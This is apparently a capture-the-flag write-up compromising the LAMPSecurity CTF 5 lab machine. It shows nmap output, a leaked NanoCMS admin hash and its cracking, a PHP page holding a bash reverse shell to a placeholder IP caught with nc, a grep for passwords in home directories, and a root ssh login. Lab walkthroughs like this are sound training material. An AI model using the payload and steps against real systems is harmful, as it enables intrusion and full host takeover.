

LAMPSecurity: CTF 5

We did a simple nmap scan to find the IP address on which the website is running.
nmap -sC -sT -sV -vv -A 10.0.2.1-254 -p 1-65535

```
Nmap scan report for 10.0.2.20
Host is up, received syn-ack (0.040s latency).
Scanned at 2021-05-27 00:55:09 IST for 96s
Not shown: 65524 closed ports
Reason: 65524 conn-refused
PORT      STATE SERVICE      REASON VERSION
22/tcp    open  ssh          syn-ack OpenSSH 4.7 (protocol 2.0)
| ssh-hostkey:
|   1024 05:c3:aa:15:2b:57:c7:f4:2b:d3:41:1c:74:76:cd:3d (DSA)
|   ssh-dss
|AAAAB3NzaC1kc3MAAACBALK3IEbfqlZyOdk4wpUpBUIqP3zkz5xsSv+iULIJvd/Oa4aKJbGk/
XiUWJ89t2cQGV6Id/XKpC9+qHhoH1TJBu6XfCW1RC3XutleOyDKCmtFyGWRucGRUSk81s
iT60Af0/Ykrwh60zPPr/a+HAXPA+IBWmxF9pVINFN0+lgq4r3AAAFQDNPojF+IMo5kqGrrkP
BGgWeHvBRwAAAIbD8UB5f9XUA0F26gjgJS76OwSnB9vLOv84ldI47itj+so/yOhq4gvevMxHd
OldIWuf+xwkn50mFOOgxCWSI03AzZCpzR8HSV1dHLmUzKpBzim1ynl8SPFbTwllcJ+l8eErJ
KeA8OXytis+hJIOFJI+Tnshb0JYyb2tC54ktiBSPQAAAIaiaJP2iZ92eErkVt3Ju3UBW1+ZJ9Aop
LbJ5o5s3fsaYv3xnF6k6EnFyy2xligpa3ONpbZ9VLvDa05lfSVdILJezCmPuSh0E8p1RqcSrBD
Q8oqBeslhWwpDP5+rP6OjpbUbt8xgKSHluSpQX7OzymN8MCBPewbNuNAr2MskjYqvjQ==
|   2048 43:fa:3c:08:ab:e7:8b:39:c3:d6:f3:a4:54:19:fe:a6 (RSA)
| ssh-rsa
|AAAAB3NzaC1yc2EAAAABIwAAAQEAykEWRJ1uc9t9AHjyFnKI8TUflf0EaBan0fg6JmNcSkD
Nn/RxxSbIZGCb9Y6oWHVeoG3NGoj+EDXRCqo+AS+uZBXdd4f3L4ZFkerBuSZIZZ98DnAD
2F36lhlemZmlpFq/TtSrjZtWSrBQtR1OJf2bPNpcXMUTRqx0ZLM2eUz7Orq6oiOLodTy5wD8Cs
uWKy4p308cdlr6QyrLv6P7upJ2Gg6YEdKhu6EuC2B+533V+IQ8cNRoemjBfTC5V3tAYKfzZQ
ScUT72C80Z62QTdqNGcgrvMq+j1WcqdlW/6n2jYD8B+k1lkCntoAsyRqYyPDjGQ2HobkJ90
WA4NIWOP/n1Q==
25/tcp  open  smtp      syn-ack Sendmail 8.14.1/8.14.1
| smtp-commands: localhost.localdomain Hello [10.0.2.12], pleased to meet you,
ENHANCEDSTATUSCODES, PIPELINING, 8BITMIME, SIZE, DSN, ETRN, AUTH
DIGEST-MD5 CRAM-MD5, DELIVERBY, HELP,
|_ 2.0.0 This is sendmail 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET
NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For
more info use "HELP <topic>". 2.0.0 To report bugs in the implementation see 2.0.0
http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to
Postmaster at your site. 2.0.0 End of HELP info
80/tcp  open  http      syn-ack Apache httpd 2.2.6 ((Fedora))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.2.6 (Fedora)
|_ http-title: Phake Organization
110/tcp  open  pop3     syn-ack ipop3d 2006k.101
|_pop3-capabilities: USER LOGIN-DELAY(180) STLS TOP UIDL
|_ssl-date: 2021-05-26T19:26:43+00:00; -2s from scanner time.
111/tcp  open  rpcbind   syn-ack 2-4 (RPC #100000)
```

```
| rpcinfo:  
|   program version  port/proto service  
|   100000 2,3,4      111/tcp  rpcbind  
|   100000 2,3,4      111/udp  rpcbind  
|   100024 1          32768/udp status  
|   100024 1          46801/tcp status  
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: MYGROUP)  
143/tcp open imap     syn-ack University of Washington IMAP imapd 2006k.396 (time  
zone: -0400)  
|_imap-capabilities: completed IDLE MAILBOX-REFERRALS UNSELECT OK NAMESPACE  
CHILDREN ESEARCH LITERAL+ SCAN THREAD=ORDEREDSUBJECT MULTIAPPEND  
SASL-IR CAPABILITY UIDPLUS LOGIN-REFERRALS BINARY STARTTLSA0001  
THREAD=REFERENCES IMAP4REV1 SORT WITHIN  
|_ssl-date: 2021-05-26T19:26:43+00:00; -2s from scanner time.  
445/tcp open netbios-ssn syn-ack Samba smbd 3.0.26a-6.fc8 (workgroup: MYGROUP)  
901/tcp open http     syn-ack Samba SWAT administration server  
| http-auth:  
|   HTTP/1.0 401 Authorization Required\x0D  
|   Basic realm=SWAT  
| http-methods:  
|   Supported Methods: GET POST  
|_http-title: 401 Authorization Required  
3306/tcp open mysql   syn-ack MySQL 5.0.45  
| mysql-info:  
|   Protocol: 10  
|   Version: 5.0.45  
|   Thread ID: 25  
|   Capabilities flags: 41516  
|   Some Capabilities: Support41Auth, ConnectWithDatabase, LongColumnFlag,  
SupportsTransactions, SupportsCompression, Speaks41ProtocolNew  
|   Status: Autocommit  
|_salt: /R1;u\OVA"$.[aVj3\X$  
46801/tcp open status  syn-ack 1 (RPC #100024)  
Service Info: Hosts: localhost.localdomain, 10.0.2.20; OS: Unix
```

Host script results:

```
|_clock-skew: mean: 59m58s, deviation: 2h00m01s, median: -2s  
p2p-conficker:  
| Checking for Conficker.C or higher...  
| Check 1 (port 33186/tcp): CLEAN (Couldn't connect)  
| Check 2 (port 62745/tcp): CLEAN (Couldn't connect)  
| Check 3 (port 55260/udp): CLEAN (Timeout)  
| Check 4 (port 48467/udp): CLEAN (Timeout)  
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked  
smb-os-discovery:  
| OS: Unix (Samba 3.0.26a-6.fc8)  
| Computer name: localhost  
| NetBIOS computer name:  
| Domain name: localdomain  
| FQDN: localhost.localdomain
```

```

|_ System time: 2021-05-26T15:25:32-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
_| message_signing: disabled (dangerous, but default)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
|_smb2-time: Protocol negotiation failed (SMB2)

```

Phake Organization

Phake Organization is your one stop shop for event organization. We help to register event participants, organize event gatherings, and maintain contact with your event participants. Let us help plan your next conference or training session. Join our [mailing list](#) today for up to date announcements about new services, upcoming events, and developments that help keep your event current.

We surf the website to find any hidden content and start looking at the source code as well. In doing so found the following webpage .

Andy Carp's Blog

Promoting Phake Organization

Home Contact

Navigation

- Home
- Contact

Links

- Phake Org.
- Webmail

Login

[Admin Login](#)

Welcome to My Site

Hello, my name is Andy Carp and I'm the chief marketer for [Phake Organization](#). This is my blog site, that I set up to help promote my company and some of our events.

Its source code revealed that it was using NanoCMS. On googling about it we see that it can be exploited to find password hash information.

```

a:12:{s:8:"homepage";s:1:"1";s:10:"links_cats";a:4:{s:7:"sidebar";a:2:{i:0;i:1;i:1;i:4};s:11:"other-pages";a:0:{}s:14:"top-navigation";a:2:{i:0;s:1:"1";i:1;s:1:"4";};s:12:"Footer-Right";a:2:{i:0;s:1:"1";i:1;s:1:"4";}}s:5:"slugs";a:2:{i:1;s:4:"home";i:4;s:7:"contact";}s:6:"titles";a:2:{i:1;s:4:"Home";i:4;s:7:"Contact";}s:10:"slug_count";i:11;s:8:"settings";a:3:{s:19:"index-last-modified";i:1234513760;s:18:"def-template-areas";a:4:{i:0;s:12:"website name";i:2;s:14:"website slogan";i:3;s:16:"below navigation";i:4;s:16:"copyright notice";}s:18:"def-template-links";a:2:{i:0;s:14:"top-navigation";i:1;s:12:"Footer-Right";}}s:13:"active-tweaks";a:2:{i:0;s:7:"deutsch";i:1;s:19:"language-pack-tweak";}s:11:"lang-select";s:7:"english";s:6:"seourl";s:1:"0";s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";s:7:"version";s:4:"v_4f";}
;
```

We get the username : admin and the hashed password which can be cracked using any online tool.

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
9d2f75377ac0ab991d40c91fd27e52fd	md5	shannon

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

We surf the same page and find an admin login and on giving the credentials , we access the admin panel.

Next , on going to new page, we give a small php code to test whether the website is vulnerable to php (we can also do the same if we pass the request through burpsuite , we get to know that it is using PHP in the backend).

Now go to the original page and refresh .See the page getting created.

Next we create another page with the following payload :

```
<?php
system("bash -i >& /dev/tcp/<yourip>/1234 0>&1");
```

?>

Click on add page.

In the command prompt type the command :

nc -vvlp 1234

And we got connected.

```
(root㉿kali)-[~]
# nc -vvlp 1234
listening on [any] 1234 ...
10.0.2.20: inverse host lookup failed: Unknown host
connect to [10.0.2.12] from (UNKNOWN) [10.0.2.20] 37617
bash: no job control in this shell
bash-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
bash-3.2$ whoami
apache
```

Now go to home directory and find the users .

```
bash-3.2$ cd home
bash-3.2$ ls
amy
andy
jennifer
loren
patrick
```

So we run a grep command to find password in the home directory.

grep -R -i password /home/* 2> /dev/null

On running it we get the link to password file

```
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note: <title>Root password</title>
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note: <text xml:space="preserve"><note-content version="0.1">Root passwo
rd
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:Root password
/home/patrick/.tomboy.log:12/5/2012 7:24:46 AM [DEBUG]: Renaming note from New Note 3 to Root password
/home/patrick/.tomboy.log:12/5/2012 7:24:56 AM [DEBUG]: Saving 'Root password' ...
/home/patrick/.tomboy.log:12/5/2012 7:25:03 AM [DEBUG]: Saving 'Root password' ...
```

On giving : cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note

We get the password.

When we try login using either sudo su or su we encounter the following error.

```
</note>bash-3.2$ su
standard in must be a tty
bash-3.2$ sudo su
sudo: sorry, you must have a tty to run sudo
```

We had seen from nmap scan report that port 22 running ssh service was open , so we login using it and we have root access.

ssh root@10.0.2.20

Password: 50\$cent

```
(root㉿kali)-[~]
# ssh root@10.0.2.20
root@10.0.2.20's password:
Last login: Wed Dec  5 07:28:50 2012 130  x
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:s0-s0
:c0.c1023
```